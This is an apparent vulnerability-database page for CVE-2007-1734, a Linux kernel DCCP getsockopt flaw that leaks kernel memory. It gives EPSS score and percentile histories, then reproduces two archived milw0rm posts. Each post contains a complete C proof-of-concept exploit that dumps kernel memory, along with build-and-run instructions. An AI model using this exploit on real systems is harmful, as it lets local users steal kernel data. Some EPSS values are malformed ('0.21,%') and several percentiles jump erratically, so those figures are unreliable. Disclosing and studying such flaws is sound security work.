CVE-2007-1734 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	0.95%	–	–
2022-02-13	–	–	0.95%	–	–
2022-03-20	–	–	0.95%	–	–
2022-04-03	–	–	0.95%	–	–
2022-06-19	–	–	0.95%	–	–
2022-09-04	–	–	0.95%	–	–
2022-12-18	–	–	0.95%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.21%
2025-03-30	–	–	–	–	0.21%
2025-04-15	–	–	–	–	0.21%
2025-04-15	–	–	–	–	0.21,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	13%
2022-02-13	14%
2022-03-20	15%
2022-04-03	29%
2022-06-19	3%
2022-09-04	31%
2022-12-18	32%
2023-03-12	6%
2024-02-11	5%
2024-06-02	5%
2024-06-02	5%
2025-01-19	5%
2025-03-18	41%
2025-03-30	4%
2025-04-15	43%
2025-04-15	43%

/* Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw which may allow local users to steal data from the kernel memory. Vulnerable Systems: Linux Kernel Versions: >= 2.6.20 with DCCP support enabled. Kernel versions <2.6.20 lack DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for getsockopt() call with SOL_DCCP level, which are used in the delivered POC code. Author: Robert Swiecki http://www.swiecki.net robert@swiecki.net Details: The flaw exists in do_dccp_getsockopt() function in net/dccp/proto.c file. ----------------------- static int do_dccp_getsockopt(struct sock *sk, int level, int optname, char __user *optval, int __user *optlen) ... if (get_user(len, optlen)) return -EFAULT; if (len < sizeof(int)) return -EINVAL; ... ----------------------- The above code doesn't check `len' variable for negative values. Because of cast typing (len < sizeof(int)) is always true for `len' values less than 0. After that copy_to_user() procedure is called: ----------------------- if (put_user(len, optlen) || copy_to_user(optval, &val, len)) return -EFAULT; ----------------------- What happens next depends greatly on the cpu architecture in-use - each cpu architecture has its own copy_to_user() implementation. On the IA-32 the code below ... ----------------------- unsigned long copy_to_user(void __user *to, const void *from, unsigned long n) { BUG_ON((long) n < 0); ----------------------- ... will prevent explotation, but kernel will oops due to invalid opcode in BUG_ON(). On some other architectures (e.g. x86-64) kernel-space data will be copied to the user supplied buffer until end-of-kernel space (pagefault in kernel-mode occurs) is reached. POC: ----------------------- */ #include <netinet/in.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <sys/mman.h> #include <linux/net.h> #define BUFSIZE 0x10000000 int main(int argc, char *argv[]) { void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (!mem) { printf("Cannot allocate mem\n"); return 1; } /* SOCK_DCCP, IPPROTO_DCCP */ int s = socket(PF_INET, 6, 33); if (s == -1) { fprintf(stderr, "socket failure!\n"); return 1; } int len = -1; /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */ int x = getsockopt(s, 269, 11, mem, &len); if (x == -1) perror("SETSOCKOPT"); else printf("SUCCESS\n"); write(1, mem, BUFSIZE); return 0; } //----------------------- //make poc; ./poc | strings //----------------------- // milw0rm.com [2007-03-27]

#include <netinet/in.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <sys/mman.h> #include <linux/net.h> #define BUFSIZE 0x10000000 int main(int argc, char *argv[]) { void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem == (void*)-1) { printf("Alloc failed\n"); return -1; } /* SOCK_DCCP, IPPROTO_DCCP */ int s = socket(PF_INET, 6, 33); if (s == -1) { fprintf(stderr, "socket failure!\n"); return 1; } /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */ int len = BUFSIZE; int x = getsockopt(s, 269, 11, mem, &len); if (x == -1) perror("SETSOCKOPT"); else printf("SUCCESS\n"); write(1, mem, BUFSIZE); return 0; } // milw0rm.com [2007-03-28]